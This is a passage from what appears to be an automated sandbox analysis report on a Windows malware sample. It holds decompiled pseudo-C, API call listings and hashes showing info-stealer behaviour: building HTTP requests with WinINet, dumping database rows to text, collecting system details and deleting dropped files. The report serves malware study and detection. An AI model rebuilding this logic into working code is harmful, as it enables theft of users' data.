				E00406320( &_v10268, _t133,  &_v10268, _v10544);
				E0040B720( &_v10268, 0x1388);
				_t111 =  *0x41a6a4; // 0x7672c0
				E004049E0( &_v10268,  &_v10540, _t111);
				E0040B720( &_v10540, 0x104);
				_t112 =  *0x41aba8; // 0x0
				_t61 =  *0x41abac; // 0x0
				_t97 =  *0x41aba4; // 0x0
				E0040A700(_t133, _v10544, _t97, _t61, _t112);
				E00401470(_v10544);
				E004056E0(_v10544, _t133, _v10544);
				_t129 = _t121 + 0x48;
				_t134 =  *0x41abb0;
				if( *0x41abb0 != 0) {
					E0040BCF0(_t134, 0x41, _v10544);
					_t129 = _t129 + 8;
				}
				E00413800(_v10544,  &_v10276,  &_v10272);
				E0040B720( &_v5004, 0x1388);
				_t101 =  *0x41a288; // 0x766768
				_t116 =  *0x41a7c4; // 0x7654f8
				_t71 =  *0x41a368; // 0x762398
				 *0x41aa24( &_v5004, E00404BE0(_t101, _t134, _t71, _t116, _t101,  &_v5268, _v10276, _v10272));
				_t117 =  *0x41a6a8; // 0x768318
				SetCurrentDirectoryA(_t117);
				_t76 =  *0x41a908( &_v5004);
				_t135 = _t76 - 5;
				if(_t76 > 5) {
					E00405B00(_t135,  &_v5004);
				}
				E0040B720( &_v5268, 0x104);
				E0040B720( &_v5004, 0x1388);
				E0040B720( &_v10276, 4);
				E0040B720( &_v10272, 4);
				E0040B720( &_v10544, 4);
				E00405DE0();
				 *0x41abb4 = 1;
				return 0;
			}

0x00406650
0x00406658
0x0040666e
0x00406680
0x00406691
0x004066a2
0x004066b9
0x004066bf
0x004066cd
0x004066d3
0x004066e0
0x004066e6
0x004066f4
0x004066fa
0x00406708
0x0040670e
0x00406714
0x0040671b
0x00406722
0x00406738
0x0040674c
0x00406760
0x00406765
0x00406773
0x00406787
0x0040678c
0x00406793
0x00406799
0x004067a7
0x004067b6
0x004067c5
0x004067ca
0x004067cd
0x004067d4
0x004067df
0x004067e4
0x004067e4
0x004067fc
0x00406810
0x0040682a
0x00406831
0x00406838
0x0040684e
0x00406854
0x0040685b
0x00406868
0x0040686e
0x00406871
0x0040687a
0x0040687f
0x0040688e
0x0040689f
0x004068ad
0x004068bb
0x004068c9
0x004068ce
0x004068d3
0x004068e2

APIs

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 004066B9
lstrcat.KERNEL32(?,00750410), ref: 004066CD
lstrcat.KERNEL32(?,00762398), ref: 004066E0
lstrcat.KERNEL32(?,007654F8), ref: 004066F4
lstrcat.KERNEL32(?,00766708), ref: 00406708

Part of subcall function 004051A0: InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
Part of subcall function 004051A0: InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
Part of subcall function 004051A0: InternetConnectA.WININET(00000000,00762398,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
Part of subcall function 004051A0: HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
Part of subcall function 004051A0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
Part of subcall function 004051A0: HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
Part of subcall function 004051A0: StrCmpCA.SHLWAPI(?,200), ref: 00405359

lstrcat.KERNEL32(?,00000000), ref: 00406738

Part of subcall function 00406320: lstrcat.KERNEL32(?,?), ref: 00406394

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 0040A700: GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 0040A70A
Part of subcall function 0040A700: RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 004056E0: GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
Part of subcall function 004056E0: RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0074EC70), ref: 00405705
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0074E508), ref: 00405716
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405725
Part of subcall function 004056E0: lstrcat.KERNEL32(?,0074EC80), ref: 00405736
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC4), ref: 00405745
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00765518), ref: 00405756
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00418BC0), ref: 00405765
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00766498), ref: 00405776
Part of subcall function 004056E0: GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C
Part of subcall function 004056E0: lstrcat.KERNEL32(?,00000000), ref: 00405790
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
Part of subcall function 004056E0: lstrcat.KERNEL32(hdv,00766468), ref: 004057AF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
Part of subcall function 004056E0: lstrcat.KERNEL32(007666F0,007666F0), ref: 004057DF
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
Part of subcall function 004056E0: lstrcat.KERNEL32(007655B8,007655B8), ref: 0040580F
Part of subcall function 004056E0: lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
Part of subcall function 004056E0: lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E

lstrcat.KERNEL32(?,00000000), ref: 0040684E
SetCurrentDirectoryA.KERNEL32(00768318,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 0040685B
lstrlen.KERNEL32(?,?,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406868

Strings

hgv, xrefs: 00406714, 0040682A

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$HeapInternet$HttpOpenProcess$AllocateCurrentRequest$ConnectDirectoryInfoOptionQuerySendSystemTimelstrlen
String ID: hgv
API String ID: 2767677664-710896355
Opcode ID: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction ID: 4521fb7a1d59e918bbbcfb22c6a1b4b47e0d9ef7d9e5ed5fdd184795f43376b9
Opcode Fuzzy Hash: fabbc2a9677d3c6aeca39df0d5bc9609c913b9ae446aed9ab3f1a9a909d992f7
Instruction Fuzzy Hash: 476159B6901214ABD711EB60DC45DDA73BCEB4C744F00C5AAF209A3191DB78E794CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00435D49, Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435FA5
__aulldiv.LIBCMT ref: 00435FC7
_write_multi_char.LIBCMTD ref: 004360CE
_write_string.LIBCMTD ref: 004360E9
_write_multi_char.LIBCMTD ref: 00436115
_wctomb_s.LIBCMTD ref: 00436192

Strings

-, xrefs: 0043606E
9, xrefs: 00435FD8

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: _write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 2197463554-1631151375
Opcode ID: 22540a43e221228871bd89f81518f1cb40b214d9748d13550afec4460cfdcd8f
Instruction ID: 527a2be3faffeed555bbf0718fc7d45c28cdc204b37525e07d3fa57fc170798e
Opcode Fuzzy Hash: 22540a43e221228871bd89f81518f1cb40b214d9748d13550afec4460cfdcd8f
Instruction Fuzzy Hash: ACF159B1D056299FDF24DF58CC89BAEB7B1BB48304F1481DAE419A7281D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 005783A0, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005783CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00578425
RtlAllocateHeap.NTDLL(00000000), ref: 0057842C
lstrcat.KERNEL32(?,?), ref: 0057848F
lstrcat.KERNEL32(?,004191EC), ref: 005784A1
lstrcat.KERNEL32(?,?), ref: 005784B5
lstrcat.KERNEL32(?,00418BC4), ref: 005784C7
lstrlen.KERNEL32(?), ref: 005784D9

Strings

xav, xrefs: 005783FF, 00578405

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: xav
API String ID: 3196222039-1612934677
Opcode ID: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction ID: b41a0f633bea1cf4cccdfd44e2f4de792ab16181916b45dbf7e3306568780968
Opcode Fuzzy Hash: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction Fuzzy Hash: 0941A7B1900118ABCB14EBA4DD4AFEA77B8BF48700F008594F709D7151DA75DEA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t2 =  &_a8; // 0x767450
				_t30 =  *0x41a40c; // 0x768a70
				wsprintfA( &_v268, _t30, _a12,  *_t2);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0x7626d0
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x0040941a
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Strings

Ptv, xrefs: 0040941A, 0040941D

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: Ptv
API String ID: 3196222039-1640537945
Opcode ID: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x768a70
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0x766178
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Strings

xav, xrefs: 004081AF

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID: xav
API String ID: 3196222039-1612934677
Opcode ID: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0043D15B, Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 0043D3C0
__aulldiv.LIBCMT ref: 0043D3E2
_write_multi_char.LIBCMTD ref: 0043D4FB
_write_string.LIBCMTD ref: 0043D516
_write_multi_char.LIBCMTD ref: 0043D542
__mbtowc_l.LIBCMTD ref: 0043D5B1

Strings

9, xrefs: 0043D3F3

Memory Dump Source

Source File: 00000017.00000002.387781269.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_42e000_B50.jbxd

Similarity

API ID: _write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 850363499-2366072709
Opcode ID: 04cdabcf287824ada3b21e591cd19f6fe4aefa08062c71b351e49c73164c5241
Instruction ID: 1964e7732b2a52cb1be8d9893bfa40eb8317c7e544fe7133ffbbb15624d692b4
Opcode Fuzzy Hash: 04cdabcf287824ada3b21e591cd19f6fe4aefa08062c71b351e49c73164c5241
Instruction Fuzzy Hash: 6DF16CF1D002299FDB24DF54DC81BAEB7B1BF89304F14419AE519A7241D7389E84CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0057B250, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0057B25D
RtlAllocateHeap.NTDLL(00000000), ref: 0057B264
memset.NTDLL ref: 0057B275
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0057B286
__aulldiv.LIBCMT ref: 0057B2A0
wsprintfA.USER32 ref: 0057B2CC

Strings

@, xrefs: 0057B27B
([W, xrefs: 0057B2C8, 0057B2D5, 0057B2CB

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: ([W$@
API String ID: 3391354518-3310912376
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: 2ced058f2e0d2b284e8859d3bd3ece4e00c8a05f8d6565b7d7cb0444d68a0ff5
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: C30100B1D41208ABDB00DFE4DD49BEEB7B8FF44701F108958F615A7280D7B599118B95

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84);
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

@, xrefs: 0040B02B
%d MB, xrefs: 0040B073

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 00576030, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(0041A6A4), ref: 00576039
DeleteFileA.KERNEL32(0041A2F0), ref: 00576046
DeleteFileA.KERNEL32(0041A650), ref: 00576053
DeleteFileA.KERNEL32(0qv), ref: 0057605F
DeleteFileA.KERNEL32(0041A6CC), ref: 0057606C
DeleteFileA.KERNEL32(0041A4A8), ref: 00576079
DeleteFileA.KERNEL32(0041A700), ref: 00576085

Strings

0qv, xrefs: 00576059, 0057605E

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: DeleteFile
String ID: 0qv
API String ID: 4033686569-1416142908
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41a6a4; // 0x7672c0
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0x7674f0
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0x7671f8
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0x767130
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0x765498
				DeleteFileA(_t12);
				_t14 =  *0x41a4a8; // 0x7673b0
				DeleteFileA(_t14);
				_t9 =  *0x41a700; // 0x7670b8
				return DeleteFileA(_t9);
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e22
0x00405e29
0x00405e2f
0x00405e3c

APIs

DeleteFileA.KERNEL32(007672C0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(007674F0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(007671F8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(00767130,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(00765498,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(007673B0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(007670B8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Strings

0qv, xrefs: 00405E09

Memory Dump Source

Source File: 00000017.00000002.387731665.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.387764370.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_400000_B50.jbxd

Similarity

API ID: DeleteFile
String ID: 0qv
API String ID: 4033686569-1416142908
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00581770, Relevance: 13.6, APIs: 9, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00582CEA,?), ref: 00581778
StrCmpCA.SHLWAPI(?,00419340,?,00582CEA,?), ref: 005817C5
StrCmpCA.SHLWAPI(?,00419344,?,00582CEA,?), ref: 005817DF
StrCmpCA.SHLWAPI(?,0041934C,?,00582CEA,?), ref: 005817F9

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d589e435c3a3c35b71b850c8d22f4d19d8c6d8cfe8914af6d2bb2711fd59a777
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: 6E316E39A04608EBCB00EFB1D945AAE7FACBE197407208859ED16B7640D734DE42EF58

Uniqueness

Uniqueness Score: -1.00%

Function 005772B0, Relevance: 13.6, APIs: 9, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(0041A6A4,?,0057A971,?,005769FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 005772B9
GetProcAddress.KERNEL32(0041A82C,0041A4D0), ref: 005772DF
GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 005772F7
GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0057730F
GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00577328
GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00577340
GetProcAddress.KERNEL32(0041A82C,0041A684), ref: 00577358
GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00577371
GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00577389

Memory Dump Source

Source File: 00000017.00000002.387843694.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_570000_B50.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 56587a74a34e63461224e520b5f1228991000955e7eb2eb33f9c3ba0854a5875
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 80213EB56272009FC344EBB8ED889B637E9B74C315701C939E505C3260D6359462DF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 13.6, APIs: 9, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
